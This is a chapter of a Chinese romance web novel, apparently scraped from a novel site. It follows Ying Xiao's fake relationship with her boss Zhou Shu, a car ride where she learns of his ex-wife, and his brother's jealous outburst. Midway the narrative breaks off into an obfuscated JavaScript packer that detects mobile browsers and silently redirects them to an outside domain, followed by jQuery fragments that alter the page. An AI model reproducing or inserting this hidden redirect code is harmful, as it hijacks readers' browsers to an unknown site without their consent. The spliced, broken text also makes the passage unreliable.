31. 31
作品:《小雨转晴》 王婶年纪大了,眼神不好,应潇站在她面前,她硬是没认出来,继续打着电话,朝小区大门走去。
应潇没有追上去的心情,但是这样,她就拿不回自己的保温盒了。
坐地铁的时候,她给周澍发了条消息:【我回家了。】
等待期间,她忍不住回想王婶说的话。
祝小姐是谁?
周澍有别的女人?
不怪应潇脑补,他有喜欢的人还要自己打掩护的话,说明他和祝小姐之间有一些见不得人的事情。
早知道达成协议那天,她再问得清楚点了。
可回到那天,她还是问不出口吧,毕竟她从来不是主动出击的性格。
快下地铁的时候,周澍回了她:【到家了吗?】
应潇:【快了,但是我忽然想起来保温盒落你家了。】
周澍:【明天我帮你带过来。】
应潇说“好”,就把手机关了,下地铁后,走路回家。
她很困了,一连打了好几个哈欠,眼泪被挤出来,让眼前多了几重影子。
跌跌撞撞回到家,打开灯,她就直奔沙发,将脑袋埋进抱枕里。
应潇以为自己睡了很久,听见敲门声后,撑起身,查看手机,发现才过去二十多分钟。
她拖着疲惫的身体去看猫眼,视线内出现周聿的面庞后,才打开了门。
没忍住,又打了个哈欠。
模糊的视线里,周聿穿着黑色卫衣加牛仔裤,手上拿着睡衣和毛巾。
他小巧而又白皙的脸藏在领子里,神色有些冷淡。
说话的语调很是轻松,却又带有呼之欲出的不满,“回来了?”
应潇努力让自己不往门框靠去,“嗯。”
“又是陪老板应酬?”
周聿垂眸看着她,试图观察她的表情。
果不其然,有一瞬间,她慌了神,即便很快调整过来,也控制不住声音里的紧张,“嗯。”
周聿理所当然认为她不是单纯去应酬,或者说根本不是去应酬,而没有发觉,她紧张的来源,是“老板”这个词。
“累不累?”他穷追不舍。
“还行。”应潇反问,“你过来找我做什么?”
“我家热水器坏了,能不能来你家洗个澡?”
周聿的托词有些拙劣。
现在还不算特别晚,找人修也来得及。
他一上来不提热水器的事,而是拷问他,就说明他的目的不在于此。
应潇有些犹豫。
可她一想到卫生间里的新镜子都是他帮忙买的,就没有余地拒绝了。
周聿洗澡的时候,她躺在沙发上,看着天花板。
耳边传来淅淅沥沥的水声,应潇再一次没忍住睡着。
……
第二天。
中午没了保温盒,应潇只好点外卖。
光是抉择吃哪家的外卖,她就纠结了十五分钟。距离近但难吃,好吃但配送费贵。最后,她还是选择了前者。
其实有时候,她敷衍了事做的饭,也好吃不到哪里去。
忍忍就过去了。
一辈子忍完,一辈子也过去了。
熬到下班,应潇去找周澍。
因为提前和他发了消息,所以不用敲门就进去了。
看到窗前站立的身影,她转身静悄悄地关上门,再安分守己地坐在沙发上等待。
周聿没有立即挂断电话,也没有让应潇离开,说明聊的是无关紧要的东西。
他的声音比任何时候都要轻柔,“小雅长大了,知道体恤舅舅了。”
伴随着轻笑,“今年舅舅抽不出空来,新年礼物寄给你好不好?要舅舅亲手送啊,那舅舅开车回去,送完礼物,再开车回来。心疼舅舅?那亲舅舅一口。”
打完电话后,他转身看向坐在沙发上的应潇。
可能还没从刚才的语境转换过来,他对应潇说话也十分温柔,“我昨晚没回家,保温盒忘记让阿姨送过来,就中午的时候去买了个新的,你看喜不喜欢。”
新的?
难怪桌上放着的保温盒,应潇并不眼熟。
周澍是个很好的人,体贴员工,言出必行。她为自己昨晚不该的遐想感到惭愧。
道完谢,她便准备离开。
周澍靠着桌子,等她到门口时,又把她叫了回来。可能是戏弄了她,周澍的唇角一直保持着弧度,“这几天没什么事了,你先回家吧,回家过年。”
“我好像是周五的票。”
“我记得你买的硬座,反正是坐着,坐我朋友的车回去吧,他们去旅游,顺路送你。”
应潇思忖一会儿,又觉得没必要,因为她并不想回家。
将近十个小时的火车又的确磨人。
时间上差不多,舒适度肯定是私家车高一些。
“好。”
不知不觉中,她和周澍之间的界限模糊了起来。他没有超出关心员工的范畴,但他的确没有关心过应潇以外的人。
周三凌晨便出发了,躲过最堵的时间段。
应潇离开得匆忙,周聿帮她将行李搬下楼,和她说了告别。
上车之后,周澍的朋友徐楷问,“那谁,你男朋友?”
应潇说不是。
晚上黑灯瞎火,他们也没看清楚周聿的脸,避免起疑,她说,“我表弟。”
周澍和她说了,这个秘密,仅限于他们之间。对于周澍的朋友而言,她就是他的正牌女友。
“老周也真是下得去手,你多大啊?”
要相处八九个小时呢,应潇不可能一直一言不发。
“25。”
“老牛吃嫩草。”徐楷“啧”了一声,“还是自己下属,啧啧啧,王八蛋。”
“我们老……周澍他挺好的。”应潇及时转了个弯。她现在可是周澍的小女友,而不是什么牛马。
“这就维护起来了。”徐楷说,“诶呀,就找小女生骗。”
应潇脸有点红。
好在徐楷没调侃几句,就去找副驾驶上的人聊天了。
应潇戴上耳机,靠着窗,慢慢进入睡眠。
越野车行驶在道路上,过往的车是一个个音符,彼此都在五线谱上流动。
冬天留给夜晚的时间很长,耳机的电量却有限。
应潇是被他们的聊天声吵醒的。
她缓缓睁开眼睛,窗外还是茫茫一片,夜色浓稠得像墨汁。
“祝姐发什么视频了我看看?把车停在路边我也要看。”
车居然真的停了下来。
经典情歌响起。
徐楷扑哧一声,“祝姐今年也36了吧,怎么跟长不大的小女孩一样?天天整这种伤痛文案,再配上我见犹怜的照片,我都心软了老周还没心软呢。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320471|179080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“没办法,老周不吃这一套。”
应潇竖起耳朵,偷偷听着他们的谈话。
“他们要是有个娃,我看祝姐还没现在闹腾。”
“你说老周是不是不行啊?男人不都想要个自己的孩子吗?”
“是不是人年纪大了,口味也会变,以前喜欢明艳小辣椒,现在喜欢清纯小白兔。”
应潇拿起矿泉水,喝了一口,示意他们自己已经醒了。
徐楷:“睡挺香啊你,是不是刚刚偷听我们说话了。”
应潇也不藏着掖着了,“祝姐是谁啊?”
“这你都不知道?”徐楷惊叹道,“老周真是把你骗来的吧,听了这么久,就没猜出来?”
“我怕我猜错了。”
不出意外,是周澍前妻吧,应潇见过一次,但是不知道她的名字。
“你可别起嫉妒心理啊我说,你别看老周死不服软,但是祝姐在他心里未必没有一席之地,要是你去找祝姐麻烦,老周说不定会把你踹了。”
“他们为什么分开啊?”
“不知道。”
应潇发出一声疑惑。
“不知道怎么就分了。”
有个谜题在这儿,接下来的路程,应潇完全不困了。
她解答不出来,她完全了解工作上的周澍,对于生活中的他,却一无所知。
四小时后,她顺利抵达县城里的公交车站。
和周澍发完消息,她就坐车回家了。
……
应潇回家第二天,周聿就搬回了江边的大平层。
周澍不知道几天没回来了,桌子上还有个没清洗干净的保温盒。
和应潇那个长得很像,都是特别简单的款式,多半是王婶落下的。
看来这几天王婶也没回来过。
周聿自觉把家中打扫一遍,然后拍照发给周澍,等着挨夸。
卡里忽然多了五万块。
他转了回去,顺带发消息:【敷衍】
十分钟后。
周澍:【在路上了】
他可以抛下手头上的工作,来陪伴弟弟。
周聿四分之三的生命里,哥哥不仅是哥哥,还是父亲,更是个溺爱的父亲。
最后来收拾行李。
周聿没有单独的衣帽间,但是房间是主卧,有个很大的柜子,原本是放得下的,由于他念旧,又在中学犯中二病时买了特别多衣服鞋子,整个柜子就成了个收藏柜,中看不中用。
他准备把东西挨着周澍放,自从哥哥离婚后,家里就大了很多。
把行李拖进衣帽间后,周聿便开始收拾。
看到梳妆台时他便感觉不对劲,转头看向柜子,更是一堆女装。
这些女装都是很少女的款式,颜色清新靓丽,定位人群多半不超过30岁。
周聿第一反应便是生气。
为什么家里会莫名其妙出现女人的东西?
不是向他承诺过,不谈恋爱不结婚?
15岁以前,周聿以为哥哥属于自己,17岁时,周澍结婚,周聿才意识到,哥哥属于另一个家庭。
朝夕相处的人不是他,而是他的妻子。
那他算什么?路边一条野狗。
周聿毫不犹豫地把那些女装扔出衣帽间,扔得满地都是。还有那些首饰,同样如此。
就在这时,周澍回来了。

